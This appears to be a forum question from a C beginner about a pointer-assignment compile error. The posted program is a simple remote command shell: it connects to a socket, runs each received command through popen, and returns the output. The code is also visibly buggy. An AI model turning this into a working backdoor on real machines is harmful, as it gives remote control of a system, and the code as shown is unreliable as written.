I am getting this error:
error: expression is not assignable
*fullmsg+(fmsglen+10) = output;
for trying to assign a string pointer to a part of another string pointer. Why is this happening and how can I fix this? Here is the full code:
int main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(4583);
server.sin_family = AF_INET;
connect(sock, (struct sockaddr *) &server, sizeof(server));
char* fullmsg = (char *) malloc(10010);
char* command = (char *) malloc(75);
int commandlen;
char* output = (char *) malloc (5000);
int fmsglen = 0;
while (1){
recv(sock, command, 75, 0);
commandlen = strlen(command);
if (*command == 'c' && *command+1 == 'd'){
command[commandlen-1] = '\0';
int stat = chdir(command+3);
if (stat != 0){
output = strerror(errno);
send(sock, output, 5000, 0);
} else {
send(sock, 0, 0, 0);
}
} else{
FILE * cmd = popen(command, "r");
while (fgets(output, 5000, cmd) != NULL){
*fullmsg+(fmsglen+10) = output;
fmsglen = strlen(fullmsg);
}
sprintf(&fullmsg, "%10lu", strlen(fullmsg));
send(sock, fullmsg, 10010, 0);
pclose(cmd);
}
}
free(output);
free(command);
free(fullmsg);
return 0;
}
All help is appreciated (I know this is probably a mistake with an easy fix but I'm relatively new to C)